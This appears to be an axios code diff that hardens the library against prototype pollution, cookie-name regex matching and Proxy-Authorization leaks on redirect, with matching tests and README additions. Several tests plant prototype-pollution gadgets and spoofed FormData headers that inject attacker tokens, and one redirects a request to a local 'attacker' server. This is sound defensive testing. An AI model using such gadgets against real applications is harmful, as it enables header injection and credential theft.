lib/utils.js+22 −10 modified@@ -192,21 +192,21 @@ const isFile = kindOfTest('File'); * also have a `name` and `type` attribute to specify filename and content type * * @see https://github.com/facebook/react-native/blob/26684cf3adf4094eb6c405d345a75bf8c7c0bf88/Libraries/Network/FormData.js#L68-L71 - * + * * @param {*} value The value to test - * + * * @returns {boolean} True if value is a React Native Blob, otherwise false */ const isReactNativeBlob = (value) => { return !!(value && typeof value.uri !== 'undefined'); -} +}; /** * Determine if environment is React Native * ReactNative `FormData` has a non-standard `getParts()` method - * + * * @param {*} formData The formData to test - * + * * @returns {boolean} True if environment is React Native, otherwise false */ const isReactNative = (formData) => formData && typeof formData.getParts !== 'undefined'; @@ -259,14 +259,16 @@ const FormDataCtor = typeof G.FormData !== 'undefined' ? G.FormData : undefined; const isFormData = (thing) => { if (!thing) return false; if (FormDataCtor && thing instanceof FormDataCtor) return true; - // Reject plain objects inheriting directly from Object.prototype so prototype-pollution gadgets can't spoof FormData (GHSA-6chq-wfr3-2hj9). + // Reject plain objects inheriting directly from Object.prototype so prototype-pollution gadgets can't spoof FormData. const proto = getPrototypeOf(thing); if (!proto || proto === Object.prototype) return false; if (!isFunction(thing.append)) return false; const kind = kindOf(thing); - return kind === 'formdata' || + return ( + kind === 'formdata' || // detect form-data instance - (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]'); + (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') + ); }; /** @@ -411,8 +413,12 @@ function merge(...objs) { } const targetKey = (caseless && findKey(result, key)) || key; - if (isPlainObject(result[targetKey]) && isPlainObject(val)) { - result[targetKey] = merge(result[targetKey], val); + // Read via own-prop only — a bare `result[targetKey]` walks the prototype + // chain, so a polluted Object.prototype value could surface here and get + // copied into the merged result. + const existing = hasOwnProperty(result, targetKey) ? result[targetKey] : undefined; + if (isPlainObject(existing) && isPlainObject(val)) { + result[targetKey] = merge(existing, val); } else if (isPlainObject(val)) { result[targetKey] = merge({}, val); } else if (isArray(val)) { @@ -445,13 +451,17 @@ const extend = (a, b, thisArg, { allOwnKeys } = {}) => { (val, key) => { if (thisArg && isFunction(val)) { Object.defineProperty(a, key, { + // Null-proto descriptor so a polluted Object.prototype.get cannot + // hijack defineProperty's accessor-vs-data resolution. + __proto__: null, value: bind(val, thisArg), writable: true, enumerable: true, configurable: true, }); } else { Object.defineProperty(a, key, { + __proto__: null, value: val, writable: true, enumerable: true, @@ -490,12 +500,14 @@ const stripBOM = (content) => { const inherits = (constructor, superConstructor, props, descriptors) => { constructor.prototype = Object.create(superConstructor.prototype, descriptors); Object.defineProperty(constructor.prototype, 'constructor', { + __proto__: null, value: constructor, writable: true, enumerable: false, configurable: true, }); Object.defineProperty(constructor, 'super', { + __proto__: null, value: superConstructor.prototype, }); props && Object.assign(constructor.prototype, props);
README.md+22 −0 modified@@ -752,6 +752,11 @@ These are the available config options for making requests. Only the `url` is re firstName: 'Fred' }, + // `formDataHeaderPolicy` controls how node.js FormData#getHeaders() is copied. + // 'legacy' (default) copies all returned headers for v1 compatibility. + // 'content-only' copies only Content-Type and Content-Length. + formDataHeaderPolicy: 'legacy', + // syntax alternative to send data into the body // method post // only the value is sent, not the key @@ -846,6 +851,10 @@ These are the available config options for making requests. Only the `url` is re // `maxBodyLength` (Node only option) defines the max size of the http request content in bytes allowed maxBodyLength: 2000, + // `redact` masks matching config keys when AxiosError#toJSON() is called. + // Matching is case-insensitive and recursive. It does not change the request. + redact: ['authorization', 'password'], + // `validateStatus` defines whether to resolve or reject the promise for a given // HTTP response status code. If `validateStatus` returns `true` (or is set to `null` // or `undefined`), the promise will be resolved; otherwise, the promise will be @@ -1360,6 +1369,17 @@ axios.get('/user/12345').catch(function (error) { }); ``` +To avoid logging secrets from `error.config`, pass a `redact` array in the request config. Matching config keys are masked case-insensitively at any depth when `AxiosError#toJSON()` is called. + +```js +axios.get('/user/12345', { + headers: { Authorization: 'Bearer token' }, + redact: ['authorization'] +}).catch(function (error) { + console.log(error.toJSON().config.headers.Authorization); // [REDACTED ****] +}); +``` + ## Handling Timeouts ```js @@ -1601,6 +1621,8 @@ form.append('my_file', fs.createReadStream('/foo/bar.jpg')); axios.post('https://example.com', form); ``` +In node.js, when a `FormData` object provides `getHeaders()`, axios copies all returned headers by default for v1 compatibility. If the `FormData` object is custom or not fully trusted, set `formDataHeaderPolicy: 'content-only'` to copy only `Content-Type` and `Content-Length`, and set any other request headers explicitly with the request `headers` config. + ### 🆕 Automatic serialization to FormData Starting from `v0.27.0`, Axios supports automatic object serialization to a FormData object if the request `Content-Type`
tests/browser/cookies.browser.test.js+37 −0 modified@@ -41,6 +41,27 @@ describe('helpers::cookies (vitest browser)', () => { expect(cookies.read('bar')).toBe('def'); }); + it('reads cookies when the cookie separator has no following space', () => { + const descriptor = Object.getOwnPropertyDescriptor(document, 'cookie'); + + Object.defineProperty(document, 'cookie', { + configurable: true, + get() { + return 'foo=abc;bar=def'; + }, + }); + + try { + expect(cookies.read('bar')).toBe('def'); + } finally { + if (descriptor) { + Object.defineProperty(document, 'cookie', descriptor); + } else { + delete document.cookie; + } + } + }); + it('removes cookies', () => { cookies.write('foo', 'bar'); cookies.remove('foo'); @@ -53,4 +74,20 @@ describe('helpers::cookies (vitest browser)', () => { expect(document.cookie).toBe('foo=bar%20baz%25'); }); + + it('matches cookie names exactly even when the name contains regex metacharacters', () => { + // previously cookies.read built a RegExp by interpolating + // the requested name. Metacharacters could match a different cookie or trigger + // catastrophic backtracking. A name such as "X.Y" must not match a cookie called + // "XAY" set by the same site. + cookies.write('XAY', 'wrong'); + + expect(cookies.read('X.Y')).toBeNull(); + }); + + it('does not return a partial match for a name that is a prefix of another cookie', () => { + cookies.write('xsrf-token-extra', 'wrong'); + + expect(cookies.read('xsrf-token')).toBeNull(); + }); });
tests/browser/xsrf.browser.test.js+2 −2 modified@@ -180,9 +180,9 @@ describe('xsrf (vitest browser)', () => { }); }); - // GHSA-xx6v-rp6x-q39c: non-boolean truthy withXSRFToken must not short-circuit + // Non-boolean truthy withXSRFToken must not short-circuit // the same-origin check and leak the XSRF token cross-origin. - describe('GHSA-xx6v-rp6x-q39c non-boolean withXSRFToken', () => { + describe('non-boolean withXSRFToken', () => { afterEach(() => { delete Object.prototype.withXSRFToken; });
tests/unit/adapters/fetch.test.js+50 −50 modified@@ -582,35 +582,39 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => // Timing-sensitive: a 50ms abort race observed by a fake fetch can flake // under CI runner load even though the production code is fine. Retry as // a backstop. - it('should surface ETIMEDOUT when fetch rejects with a broken DOMException on abort (Safari)', { retry: 2 }, async () => { - const safariFetch = (url, init) => { - const signal = getFetchSignal(url, init); - - return new Promise((_resolve, reject) => { - const onAbort = () => { - signal.removeEventListener('abort', onAbort); - reject(createBrokenDOMExceptionLikeError()); - }; + it( + 'should surface ETIMEDOUT when fetch rejects with a broken DOMException on abort (Safari)', + { retry: 2 }, + async () => { + const safariFetch = (url, init) => { + const signal = getFetchSignal(url, init); + + return new Promise((_resolve, reject) => { + const onAbort = () => { + signal.removeEventListener('abort', onAbort); + reject(createBrokenDOMExceptionLikeError()); + }; - if (signal.aborted) return onAbort(); - signal.addEventListener('abort', onAbort); - }); - }; + if (signal.aborted) return onAbort(); + signal.addEventListener('abort', onAbort); + }); + }; - await assert.rejects( - () => - fetchAxios.get('/', { - timeout: 50, - env: { fetch: safariFetch }, - }), - (err) => { - assert.strictEqual(err.name, 'AxiosError'); - assert.strictEqual(err.code, 'ETIMEDOUT'); - assert.match(err.message, /timeout of 50ms exceeded/); - return true; - } - ); - }); + await assert.rejects( + () => + fetchAxios.get('/', { + timeout: 50, + env: { fetch: safariFetch }, + }), + (err) => { + assert.strictEqual(err.name, 'AxiosError'); + assert.strictEqual(err.code, 'ETIMEDOUT'); + assert.match(err.message, /timeout of 50ms exceeded/); + return true; + } + ); + } + ); }); it('should combine baseURL and url', async () => { @@ -629,7 +633,9 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => const server = await startHTTPServer( (req, res) => { let body = ''; - req.on('data', (chunk) => { body += chunk; }); + req.on('data', (chunk) => { + body += chunk; + }); req.on('end', () => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ method: req.method, url: req.url, body })); @@ -639,10 +645,9 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => ); try { - const { data } = await fetchAxios.query( - `http://localhost:${server.address().port}/search`, - { selector: 'field1' } - ); + const { data } = await fetchAxios.query(`http://localhost:${server.address().port}/search`, { + selector: 'field1', + }); assert.strictEqual(data.method, 'QUERY'); assert.strictEqual(data.url, '/search'); @@ -945,7 +950,7 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => }); }); - describe('size limits (GHSA-777c-7fjr-54vf)', () => { + describe('size limits', () => { it('should reject an outbound body that exceeds maxBodyLength with ERR_BAD_REQUEST', async () => { const server = await startHTTPServer( (req, res) => { @@ -1034,35 +1039,30 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => it('should reject a data: URL whose decoded size exceeds maxContentLength (base64)', async () => { const payload = 'A'.repeat(4096); - const dataUrl = 'data:application/octet-stream;base64,' + Buffer.from(payload).toString('base64'); + const dataUrl = + 'data:application/octet-stream;base64,' + Buffer.from(payload).toString('base64'); // Use a dedicated instance without baseURL — combineURLs would otherwise // prepend baseURL to a data: URL and neutralise the pre-check. const bareAxios = axios.create({ adapter: 'fetch' }); - await assert.rejects( - bareAxios.get(dataUrl, { maxContentLength: 16 }), - (err) => { - assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); - assert.match(err.message, /maxContentLength size of 16 exceeded/); - return true; - } - ); + await assert.rejects(bareAxios.get(dataUrl, { maxContentLength: 16 }), (err) => { + assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); + assert.match(err.message, /maxContentLength size of 16 exceeded/); + return true; + }); }); it('should reject a data: URL whose body size exceeds maxContentLength (non-base64)', async () => { const dataUrl = 'data:text/plain,' + 'X'.repeat(4096); const bareAxios = axios.create({ adapter: 'fetch' }); - await assert.rejects( - bareAxios.get(dataUrl, { maxContentLength: 16 }), - (err) => { - assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); - assert.match(err.message, /maxContentLength size of 16 exceeded/); - return true; - } - ); + await assert.rejects(bareAxios.get(dataUrl, { maxContentLength: 16 }), (err) => { + assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); + assert.match(err.message, /maxContentLength size of 16 exceeded/); + return true; + }); }); it('should allow a response at or below maxContentLength', async () => {
tests/unit/adapters/http.test.js+399 −159 modified@@ -1012,9 +1012,7 @@ describe('supports http with nodejs', () => { ); try { - const response = await axios.get( - `http://user%:foo%zz@localhost:${server.address().port}/` - ); + const response = await axios.get(`http://user%:foo%zz@localhost:${server.address().port}/`); const base64 = Buffer.from('user%:foo%zz', 'utf8').toString('base64'); assert.strictEqual(response.data, `Basic ${base64}`); } finally { @@ -1184,7 +1182,7 @@ describe('supports http with nodejs', () => { } }); - it('should enforce maxContentLength for streamed responses (GHSA-vf2m-468p-8v99)', async () => { + it('should enforce maxContentLength for streamed responses', async () => { const size = 2 * 1024 * 1024; const body = Buffer.alloc(size, 0x63); const server = await startHTTPServer( @@ -1203,17 +1201,16 @@ describe('supports http with nodejs', () => { let bytesRead = 0; const err = await new Promise((resolve) => { - response.data.on('data', (chunk) => { bytesRead += chunk.length; }); + response.data.on('data', (chunk) => { + bytesRead += chunk.length; + }); response.data.on('error', resolve); response.data.on('end', () => resolve(null)); }); assert.ok(err, 'stream should emit an error'); assert.strictEqual(err.message, 'maxContentLength size of 1024 exceeded'); - assert.ok( - bytesRead <= 1024 * 64, - `stream should not deliver full payload; got ${bytesRead}` - ); + assert.ok(bytesRead <= 1024 * 64, `stream should not deliver full payload; got ${bytesRead}`); } finally { await stopHTTPServer(server); } @@ -1248,7 +1245,7 @@ describe('supports http with nodejs', () => { } }); - it('should enforce maxBodyLength for streamed uploads with maxRedirects: 0 (GHSA-5c9x-8gcm-mpgx)', async () => { + it('should enforce maxBodyLength for streamed uploads with maxRedirects: 0', async () => { let bytesReceived = 0; const server = await startHTTPServer( (req, res) => { @@ -1308,15 +1305,11 @@ describe('supports http with nodejs', () => { const payload = Buffer.alloc(512, 0x62); const source = stream.Readable.from([payload]); - const response = await axios.post( - `http://localhost:${server.address().port}/`, - source, - { - maxBodyLength: 1024, - maxRedirects: 0, - headers: { 'Content-Type': 'application/octet-stream' }, - } - ); + const response = await axios.post(`http://localhost:${server.address().port}/`, source, { + maxBodyLength: 1024, + maxRedirects: 0, + headers: { 'Content-Type': 'application/octet-stream' }, + }); assert.strictEqual(response.data.received, payload.length); } finally { @@ -2559,9 +2552,28 @@ describe('supports http with nodejs', () => { assert.strictEqual(options.headers.Host, 'example.com'); assert.strictEqual(options.headers.host, undefined); }); + + it('ignores polluted prototype Host fields when detecting user-supplied headers', () => { + Object.prototype.host = 'polluted.example.com'; + + const options = { + headers: {}, + beforeRedirects: {}, + hostname: '127.0.0.1', + port: 4000, + }; + + try { + __setProxy(options, proxyConfig, 'http://127.0.0.1:4000/'); + + assert.strictEqual(options.headers.host, '127.0.0.1:4000'); + } finally { + delete Object.prototype.host; + } + }); }); - describe('Proxy-Authorization header leak on redirect (GHSA-j5f8-grm9-p9fc)', () => { + describe('Proxy-Authorization header leak on redirect', () => { it('clears a stale Proxy-Authorization header when redirected request resolves to no proxy (configProxy=false)', () => { const options = { headers: {}, @@ -2571,7 +2583,11 @@ describe('supports http with nodejs', () => { port: 80, }; - __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); + __setProxy( + options, + { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, + 'http://initial.example.com/start' + ); assert.strictEqual( options.headers['Proxy-Authorization'], 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), @@ -2637,9 +2653,12 @@ describe('supports http with nodejs', () => { 'stale Proxy-Authorization must be stripped when redirect target is covered by NO_PROXY' ); } finally { - if (originalHttpProxy === undefined) delete process.env.http_proxy; else process.env.http_proxy = originalHttpProxy; - if (originalHttpsProxy === undefined) delete process.env.https_proxy; else process.env.https_proxy = originalHttpsProxy; - if (originalNoProxy === undefined) delete process.env.no_proxy; else process.env.no_proxy = originalNoProxy; + if (originalHttpProxy === undefined) delete process.env.http_proxy; + else process.env.http_proxy = originalHttpProxy; + if (originalHttpsProxy === undefined) delete process.env.https_proxy; + else process.env.https_proxy = originalHttpsProxy; + if (originalNoProxy === undefined) delete process.env.no_proxy; + else process.env.no_proxy = originalNoProxy; } }); @@ -2652,8 +2671,15 @@ describe('supports http with nodejs', () => { port: 80, }; - __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); - assert.ok(options.headers['Proxy-Authorization'], 'precondition: initial proxy auth header set'); + __setProxy( + options, + { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, + 'http://initial.example.com/start' + ); + assert.ok( + options.headers['Proxy-Authorization'], + 'precondition: initial proxy auth header set' + ); const redirectOptions = { headers: { ...options.headers }, @@ -2662,7 +2688,12 @@ describe('supports http with nodejs', () => { host: 'second.example.com', port: 80, }; - __setProxy(redirectOptions, { host: '127.0.0.2', port: 8031 }, 'http://second.example.com/final', true); + __setProxy( + redirectOptions, + { host: '127.0.0.2', port: 8031 }, + 'http://second.example.com/final', + true + ); assert.strictEqual( redirectOptions.headers['Proxy-Authorization'], @@ -2673,18 +2704,26 @@ describe('supports http with nodejs', () => { it('strips stale Proxy-Authorization when the beforeRedirects.proxy hook is invoked with configProxy=false', () => { const options = { - headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + headers: { + 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + }, beforeRedirects: {}, hostname: 'initial.example.com', host: 'initial.example.com', port: 80, }; __setProxy(options, false, 'http://initial.example.com/start'); - assert.strictEqual(typeof options.beforeRedirects.proxy, 'function', 'initial setProxy must install redirect hook'); + assert.strictEqual( + typeof options.beforeRedirects.proxy, + 'function', + 'initial setProxy must install redirect hook' + ); const redirectOptions = { - headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + headers: { + 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + }, beforeRedirects: {}, hostname: 'attacker.example.com', host: 'attacker.example.com', @@ -2722,7 +2761,12 @@ describe('supports http with nodejs', () => { it('strips stale Proxy-Authorization regardless of header key casing', () => { const staleValue = 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'); - const casings = ['proxy-authorization', 'PROXY-AUTHORIZATION', 'Proxy-authorization', 'pRoXy-AuThOrIzAtIoN']; + const casings = [ + 'proxy-authorization', + 'PROXY-AUTHORIZATION', + 'Proxy-authorization', + 'pRoXy-AuThOrIzAtIoN', + ]; for (const casing of casings) { const redirectOptions = { @@ -2745,6 +2789,77 @@ describe('supports http with nodejs', () => { ); } }); + + // End-to-end exercise of the redirect leak. An + // authenticated env-supplied proxy sees the initial request, 302s the + // client to a target that NO_PROXY excludes, and the redirected request + // must not carry the stale Proxy-Authorization to the direct target. + it('does not forward Proxy-Authorization to a redirect target that resolves to no-proxy', async () => { + const startServer = (handler) => + new Promise((resolve) => { + const s = http.createServer(handler); + s.listen(0, '127.0.0.1', () => resolve(s)); + }); + const stop = (s) => new Promise((r) => s.close(r)); + + let attackerPort; + const proxySaw = []; + const attackerSaw = []; + + // The proxy receives the absolute-form URL (`GET http://target/path`) on + // the initial request, then forwards to the destination. We short-circuit + // by responding directly with the redirect. + const corpProxy = await startServer((req, res) => { + proxySaw.push({ url: req.url, proxyAuth: req.headers['proxy-authorization'] }); + res.writeHead(302, { Location: `http://127.0.0.1:${attackerPort}/final` }); + res.end(); + }); + + const attacker = await startServer((req, res) => { + attackerSaw.push({ + url: req.url, + proxyAuth: req.headers['proxy-authorization'], + authorization: req.headers.authorization, + }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"final":true}'); + }); + attackerPort = attacker.address().port; + + const corpProxyPort = corpProxy.address().port; + const originalHttpProxy = process.env.http_proxy; + const originalNoProxy = process.env.no_proxy; + process.env.http_proxy = `http://user:pass@127.0.0.1:${corpProxyPort}`; + // NO_PROXY entry covers only the attacker target (port-specific), so the + // initial request still uses the proxy but the redirect resolves direct. + process.env.no_proxy = `127.0.0.1:${attackerPort}`; + + try { + await axios.get('http://example.com/start'); + + assert.ok( + proxySaw.some((h) => h.proxyAuth), + 'precondition: corp proxy must see Proxy-Authorization on the initial request' + ); + assert.strictEqual( + attackerSaw.length, + 1, + 'attacker target must receive exactly the redirected request' + ); + assert.strictEqual( + attackerSaw[0].proxyAuth, + undefined, + 'stale Proxy-Authorization must not leak to the redirect target' + ); + } finally { + if (originalHttpProxy === undefined) delete process.env.http_proxy; + else process.env.http_proxy = originalHttpProxy; + if (originalNoProxy === undefined) delete process.env.no_proxy; + else process.env.no_proxy = originalNoProxy; + await stop(corpProxy); + await stop(attacker); + } + }, 10000); }); it('should support cancel', async () => { @@ -3105,7 +3220,7 @@ describe('supports http with nodejs', () => { }); }); - describe('prototype pollution (GHSA-6chq-wfr3-2hj9)', () => { + describe('prototype pollution', () => { const pollutedKeys = ['getHeaders', 'append', 'pipe', 'on', 'once']; const toStringTagSym = Symbol.toStringTag; @@ -3114,11 +3229,18 @@ describe('supports http with nodejs', () => { Object.prototype.append = () => {}; Object.prototype.getHeaders = () => ({ 'x-injected': 'attacker', - 'authorization': 'Bearer ATTACKER_TOKEN', + authorization: 'Bearer ATTACKER_TOKEN', }); - Object.prototype.pipe = function (d) { if (d && d.end) d.end(); return d; }; - Object.prototype.on = function () { return this; }; - Object.prototype.once = function () { return this; }; + Object.prototype.pipe = function (d) { + if (d && d.end) d.end(); + return d; + }; + Object.prototype.on = function () { + return this; + }; + Object.prototype.once = function () { + return this; + }; } function cleanup() { @@ -3161,7 +3283,7 @@ describe('supports http with nodejs', () => { 'http://stub.invalid/', { userId: 42 }, { - headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' }, + headers: { Authorization: 'Bearer VALID_USER_TOKEN' }, transport: stubTransport, maxRedirects: 0, } @@ -3176,6 +3298,97 @@ describe('supports http with nodejs', () => { assert.notStrictEqual(capturedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); }); }); + + describe('formDataHeaderPolicy', () => { + function createStubTransport(captureHeaders) { + return { + request(options, handleResponse) { + captureHeaders({ ...options.headers }); + const req = new EventEmitter(); + req.write = () => true; + req.setTimeout = () => {}; + req.destroy = () => {}; + req.end = () => { + const res = new stream.Readable({ read() {} }); + res.statusCode = 200; + res.statusMessage = 'OK'; + res.headers = {}; + res.rawHeaders = []; + res.req = req; + process.nextTick(() => { + handleResponse(res); + res.push(null); + }); + }; + return req; + }, + }; + } + + class CustomFormData extends stream.Readable { + _read() { + this.push(null); + } + append() {} + getHeaders() { + return { + 'content-type': 'multipart/form-data; boundary=----fake', + 'x-injected': 'custom', + 'x-forwarded-for': '10.0.0.1', + authorization: 'Bearer CUSTOM_TOKEN', + host: 'custom.example.com', + }; + } + get [Symbol.toStringTag]() { + return 'FormData'; + } + } + + it('preserves legacy getHeaders() propagation by default', async () => { + let capturedHeaders; + + await axios.post('http://stub.invalid/', new CustomFormData(), { + transport: createStubTransport((headers) => { + capturedHeaders = headers; + }), + maxRedirects: 0, + }); + + assert.ok(capturedHeaders, 'transport was not invoked'); + const ct = capturedHeaders['Content-Type'] || capturedHeaders['content-type']; + assert.match(ct, /multipart\/form-data/); + assert.strictEqual(capturedHeaders['x-injected'], 'custom'); + assert.strictEqual(capturedHeaders['x-forwarded-for'], '10.0.0.1'); + assert.strictEqual( + capturedHeaders.Authorization || capturedHeaders.authorization, + 'Bearer CUSTOM_TOKEN' + ); + assert.strictEqual(capturedHeaders.Host || capturedHeaders.host, 'custom.example.com'); + }); + + it('only copies content headers when formDataHeaderPolicy is content-only', async () => { + let capturedHeaders; + + await axios.post('http://stub.invalid/', new CustomFormData(), { + transport: createStubTransport((headers) => { + capturedHeaders = headers; + }), + maxRedirects: 0, + formDataHeaderPolicy: 'content-only', + }); + + assert.ok(capturedHeaders, 'transport was not invoked'); + const ct = capturedHeaders['Content-Type'] || capturedHeaders['content-type']; + assert.match(ct, /multipart\/form-data/); + assert.strictEqual(capturedHeaders['x-injected'], undefined); + assert.strictEqual(capturedHeaders['x-forwarded-for'], undefined); + assert.strictEqual( + capturedHeaders.Authorization || capturedHeaders.authorization, + undefined + ); + assert.strictEqual(capturedHeaders.Host || capturedHeaders.host, undefined); + }); + }); }); describe('toFormData helper', () => { @@ -4348,126 +4561,137 @@ describe('supports http with nodejs', () => { } }); - it('should use different sessions for requests with different http2Options set', { retry: 2 }, async () => { - const server = await startHTTPServer( - (req, res) => { - setTimeout(() => { - res.end('OK'); - }, 1000); - }, - { - useHTTP2: true, - } - ); - - try { - const localServerURL = `https://localhost:${server.address().port}`; - const http2Axios = createHttp2Axios(localServerURL); - - const [response1, response2] = await Promise.all([ - http2Axios.get(localServerURL, { - http2Options: { - sessionTimeout: 2000, - }, - }), - http2Axios.get(localServerURL, { - http2Options: { - sessionTimeout: 4000, - }, - }), - ]); + it( + 'should use different sessions for requests with different http2Options set', + { retry: 2 }, + async () => { + const server = await startHTTPServer( + (req, res) => { + setTimeout(() => { + res.end('OK'); + }, 1000); + }, + { + useHTTP2: true, + } + ); - assert.notStrictEqual(response1.request.session, response2.request.session); - assert.deepStrictEqual([response1.data, response2.data], ['OK', 'OK']); - } finally { - await stopHTTPServer(server); - } - }); + try { + const localServerURL = `https://localhost:${server.address().port}`; + const http2Axios = createHttp2Axios(localServerURL); - it('should use the same session for request with the same resolved http2Options set', { retry: 2 }, async () => { - const server = await startHTTPServer( - (req, res) => { - setTimeout(() => res.end('OK'), 1000); - }, - { - useHTTP2: true, + const [response1, response2] = await Promise.all([ + http2Axios.get(localServerURL, { + http2Options: { + sessionTimeout: 2000, + }, + }), + http2Axios.get(localServerURL, { + http2Options: { + sessionTimeout: 4000, + }, + }), + ]); + + assert.notStrictEqual(response1.request.session, response2.request.session); + assert.deepStrictEqual([response1.data, response2.data], ['OK', 'OK']); + } finally { + await stopHTTPServer(server); } - ); - - try { - const localServerURL = `https://localhost:${server.address().port}`; - const http2Axios = createHttp2Axios(localServerURL); + } + ); - const responses = await Promise.all([ - http2Axios.get(localServerURL, { - responseType: 'stream', - }), - http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: undefined, - }), - http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: {}, - }), - ]); + it( + 'should use the same session for request with the same resolved http2Options set', + { retry: 2 }, + async () => { + const server = await startHTTPServer( + (req, res) => { + setTimeout(() => res.end('OK'), 1000); + }, + { + useHTTP2: true, + } + ); - assert.strictEqual(responses[1].data.session, responses[0].data.session); - assert.strictEqual(responses[2].data.session, responses[0].data.session); + try { + const localServerURL = `https://localhost:${server.address().port}`; + const http2Axios = createHttp2Axios(localServerURL); - assert.deepStrictEqual(await Promise.all(responses.map(({ data }) => getStream(data))), [ - 'OK', - 'OK', - 'OK', - ]); - } finally { - await stopHTTPServer(server); + const responses = await Promise.all([ + http2Axios.get(localServerURL, { + responseType: 'stream', + }), + http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: undefined, + }), + http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: {}, + }), + ]); + + assert.strictEqual(responses[1].data.session, responses[0].data.session); + assert.strictEqual(responses[2].data.session, responses[0].data.session); + + assert.deepStrictEqual( + await Promise.all(responses.map(({ data }) => getStream(data))), + ['OK', 'OK', 'OK'] + ); + } finally { + await stopHTTPServer(server); + } } - }); + ); - it('should use different sessions after previous session timeout', { retry: 2, timeout: 15000 }, async () => { - const server = await startHTTPServer( - (req, res) => { - setTimeout(() => res.end('OK'), 100); - }, - { - useHTTP2: true, - } - ); + it( + 'should use different sessions after previous session timeout', + { retry: 2, timeout: 15000 }, + async () => { + const server = await startHTTPServer( + (req, res) => { + setTimeout(() => res.end('OK'), 100); + }, + { + useHTTP2: true, + } + ); - try { - const localServerURL = `https://localhost:${server.address().port}`; - const http2Axios = createHttp2Axios(localServerURL); + try { + const localServerURL = `https://localhost:${server.address().port}`; + const http2Axios = createHttp2Axios(localServerURL); - const response1 = await http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: { - sessionTimeout: 1000, - }, - }); + const response1 = await http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: { + sessionTimeout: 1000, + }, + }); - const session1 = response1.data.session; - const data1 = await getStream(response1.data); + const session1 = response1.data.session; + const data1 = await getStream(response1.data); - await setTimeoutAsync(5000); + await setTimeoutAsync(5000); - const response2 = await http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: { - sessionTimeout: 1000, - }, - }); + const response2 = await http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: { + sessionTimeout: 1000, + }, + }); - const session2 = response2.data.session; - const data2 = await getStream(response2.data); + const session2 = response2.data.session; + const data2 = await getStream(response2.data); - assert.notStrictEqual(session1, session2); - assert.strictEqual(data1, 'OK'); - assert.strictEqual(data2, 'OK'); - } finally { - await stopHTTPServer(server); + assert.notStrictEqual(session1, session2); + assert.strictEqual(data1, 'OK'); + assert.strictEqual(data2, 'OK'); + } finally { + await stopHTTPServer(server); + } } - }); + ); }); }); @@ -4922,11 +5146,18 @@ describe('supports http with nodejs', () => { await setTimeoutAsync(0); const firstReq = createdReqs[0]; - assert.ok(firstReq && firstReq.destroyed === false, 'first request must not have been destroyed by a socket error'); + assert.ok( + firstReq && firstReq.destroyed === false, + 'first request must not have been destroyed by a socket error' + ); // Stray socket error after first req has closed: must not destroy firstReq. socket.emit('error', new Error('stray error after close')); - assert.strictEqual(firstReq.destroyed, false, 'socket error after close must not destroy the old request'); + assert.strictEqual( + firstReq.destroyed, + false, + 'socket error after close must not destroy the old request' + ); // Second request claims the socket, then its socket errors. It should reject. const err = await axios @@ -4937,7 +5168,11 @@ describe('supports http with nodejs', () => { assert.strictEqual(err.code, 'EPIPE'); const secondReq = createdReqs[1]; - assert.strictEqual(secondReq.destroyed, true, 'second request should be destroyed by its own active socket error'); + assert.strictEqual( + secondReq.destroyed, + true, + 'second request should be destroyed by its own active socket error' + ); }); }); @@ -5077,13 +5312,13 @@ describe('supports http with nodejs', () => { }, 30000); }); - describe('socketPath security (GHSA-j96w-fp6f-pq6v)', () => { + describe('socketPath security', () => { function makeSocketPath() { const pipe = `axios-socketpath-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2)}`; - return os.platform() === 'win32' ? - `\\\\.\\pipe\\${pipe}` : - path.join(os.tmpdir(), `${pipe}.sock`); + return os.platform() === 'win32' + ? `\\\\.\\pipe\\${pipe}` + : path.join(os.tmpdir(), `${pipe}.sock`); } function startUnixServer(socketPath) { @@ -5092,7 +5327,11 @@ describe('supports http with nodejs', () => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ ok: true, url: req.url })); }); - try { fs.unlinkSync(socketPath); } catch (_) { /* noop */ } + try { + fs.unlinkSync(socketPath); + } catch (_) { + /* noop */ + } server.once('error', rejectStart); server.listen(socketPath, () => resolveStart(server)); }); @@ -5101,7 +5340,11 @@ describe('supports http with nodejs', () => { function stopUnixServer(server, socketPath) { return new Promise((done) => { server.close(() => { - try { fs.unlinkSync(socketPath); } catch (_) { /* noop */ } + try { + fs.unlinkSync(socketPath); + } catch (_) { + /* noop */ + } done(); }); }); @@ 